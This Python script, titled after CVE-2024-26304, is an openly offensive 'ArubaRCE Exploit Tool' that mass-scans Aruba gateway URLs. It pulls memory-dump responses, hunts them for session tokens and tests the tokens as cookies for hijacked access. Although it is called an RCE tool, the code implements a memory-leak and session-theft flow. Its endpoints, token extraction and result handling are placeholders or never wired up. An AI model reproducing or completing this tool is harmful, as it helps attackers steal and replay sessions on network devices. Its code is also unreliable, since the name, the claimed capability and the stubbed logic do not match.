CVE-2024-26304.py

import re
import sys
import hexdump
import argparse
import requests

from rich.console import Console
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

# Disable SSL warnings
warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class ArubaRCE:
    
    def __init__(self):
        self.console = Console()
        self.print_banner()
        self.parser = argparse.ArgumentParser(description='ArubaRCE Exploit Tool')
        self.setup_arguments()
        self.results: List[Tuple[str, str]] = []
        self.output_file: Optional[TextIO] = None
        
        # If output is specified, open the file
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

    def print_banner(self) -> None:
        """Prints a banner at the start of the script."""
        banner = r"""
    _______    ________    ___   ____ ___  __ __       ___   __________ ____  __ __
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__ \ / ___/__  // __ \/ // /
 / /    | | / / __/________/ // / / /_/ / // /_________/ // __ \ /_ </ / / / // /_
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ __// /_/ /__/ / /_/ /__  __/
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/____/\____/  /_/   
                                        x-projetion.org
        """
        self.console.print(banner, style="bold green")

    def setup_arguments(self) -> None:
        """Setup command-line arguments."""
        self.parser.add_argument('-u', '--url', help='The ArubaRCE / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        """Print and save results based on conditions."""
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        """Normalize URLs to ensure they have http/https scheme."""
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        """Simulate a memory dump by interacting with the target."""
        full_url = self.normalize_url(url)
        headers = {
            # Add the necessary headers here for your exploit
            "User-Agent": "Your-Agent"
        }

        print("Headers:", headers)

        try:
            # Update the target URL for your actual exploit path
            r = requests.get(
                f"{full_url}/oauth/some_endpoint",
                headers=headers,
                verify=False,
                timeout=10
            )
            content_bytes = r.content

            if r.status_code == 200 and content_bytes:
                print("Content bytes:", hexdump.dump(content_bytes))
        
        except Exception as e:
            print(f"Error during request: {e}")

    def clean_bytes(self, data: bytes) -> bytes:
        """Clean memory dump bytes (placeholder)."""
        print("Cleaning bytes...")
        # Placeholder for actual implementation
        return data

    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        """Find session tokens within the memory dump (placeholder)."""
        print("Finding session tokens...")
        # Placeholder for actual implementation
        return []

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        """Test if a session token is valid."""
        headers = {
            "Cookie": f"session={session_token}"
        }
        try:
            # Update this URL to match your actual endpoint
            r = requests.post(
                f"{self.normalize_url(url)}/some_endpoint",
                headers=headers,
                verify=False
            )
            result = r.status_code == 200
            print("Session cookie test result:", result)
            return result
        
        except Exception as e:
            print(f"Error during session token test: {e}")
            return False

    def run(self) -> None:
        """Main function to orchestrate the script execution."""
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        
        elif self.args.file:
            with open(self.args.file) as f:
                urls = f.readlines()
            
            with ThreadPoolExecutor(max_workers=5) as executor:
                future_to_url = {executor.submit(self.dump_memory, url.strip()): url for url in urls}
                for future in as_completed(future_to_url):
                    url = future_to_url[future]
                    try:
                        future.result()
                    except Exception as exc:
                        print(f"{url} generated an exception: {exc}")
        else:
            self.console.print("[bold red][-] URL or File must be provided.", style="white")
            sys.exit(1)

        # Close the output file if it's open
        if self.output_file:
            self.output_file.close()

if __name__ == "__main__":
    aruba_rce = ArubaRCE()
    aruba_rce.run()